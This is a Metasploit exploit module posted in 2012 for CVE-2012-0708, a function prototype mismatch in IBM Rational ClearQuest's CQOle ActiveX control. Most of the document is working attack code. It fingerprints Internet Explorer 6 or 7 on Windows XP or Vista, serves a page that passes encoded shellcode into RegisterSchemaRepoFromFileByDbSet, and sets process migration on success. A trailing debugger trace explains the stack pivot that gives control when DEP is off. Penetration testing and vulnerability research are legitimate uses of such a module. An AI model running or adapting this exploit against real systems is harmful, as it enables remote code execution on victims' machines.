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IBM Rational ClearQuest CQOle Remote Code Execution

Posted on 04 July 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
 :ua_name => HttpClients::IE,
 :ua_minver => "6.0",
 :ua_maxver => "7.0",
 :javascript => true,
 :os_name => OperatingSystems::WINDOWS,
 :classid => "{94773112-72E8-11D0-A42E-00A024DED613}",
 :method => "RegisterSchemaRepoFromFileByDbSet",
 :rank => NormalRanking
 })

 def initialize(info={})
 super(update_info(info,
 'Name' => "IBM Rational ClearQuest CQOle Remote Code Execution",
 'Description' => %q{
 This module exploits a function prototype mismatch on the CQOle ActiveX
 control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which
 allows reliable remote code execution when DEP isn't enabled.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Andrea Micalizzi aka rgod', # Vulnerability discovery
 'juan vazquez' # Metasploit module
 ],
 'References' =>
 [
 [ 'CVE', '2012-0708' ],
 [ 'BID', '53170' ],
 [ 'OSVDB', '81443'],
 [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-113/' ],
 [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ],
 ],
 'Payload' =>
 {
 'BadChars' => "x00"
 },
 'DefaultOptions' =>
 {
 'ExitFunction' => "process",
 'InitialAutoRunScript' => 'migrate -f'
 },
 'Platform' => 'win',
 'Targets' =>
 [
 # cqole.dll 7.1100.0.150
 [ 'Automatic', {} ],
 [ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite
 ],
 'Privileged' => false,
 'DisclosureDate' => "May 19 2012",
 'DefaultTarget' => 0))
 end

 def get_target(agent)
 #If the user is already specified by the user, we'll just use that
 return target if target.name != 'Automatic'

 if agent =~ /NT 5.1/ and agent =~ /MSIE 6/
 return targets[1] #IE 6 on Windows XP
 elsif agent =~ /NT 5.1/ and agent =~ /MSIE 7/
 return targets[1] #IE 7 on Windows XP
 elsif agent =~ /NT 6.0/ and agent =~ /MSIE 7/
 return targets[1] #IE 7 on Windows Vista
 else
 return nil
 end
 end

 def on_request_uri(cli, request)
 agent = request.headers['User-Agent']
 my_target = get_target(agent)

 # Avoid the attack if the victim doesn't have the same setup we're targeting
 if my_target.nil?
 print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
 send_not_found(cli)
 return
 end

 js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
 object_id = rand_text_alpha(rand(8) + 4)
 dbset_value = rand_text_alpha(rand(8) + 4)
 var_payload = rand_text_alpha(rand(8) + 4)

 html = <<-EOS
 <html>
 <body>
 <object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
 <script language="JavaScript">
 var #{var_payload} = unescape("#{js_code}")
 #{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
 </script>
 </body>
 </html>
 EOS

 html = html.gsub(/^		/, '')

 print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
 send_response(cli, html, {'Content-Type'=>'text/html'})

 end

end

=begin

* RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called:

Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
MFC80U!_AfxDispatchCall+0xe:
78371062 ffd0 call eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}

* RegisterSchemaRepoFromFile prototype (it is going to be executed):

.text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *)

his ret is: retn 4

* RegisterSchemaRepoFromFileByDbSet prototype (it should be executed):

.text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *)

his ret is: retn 8

* When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens:

0:000> p
eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MFC80U!_AfxDispatchCall+0x10:
78371064 c3 ret
0:000> dd esp
0013e208 001dcff4 7835f5d2 fffffffe 78336a3a

ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on
the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is
disabled

=end

 

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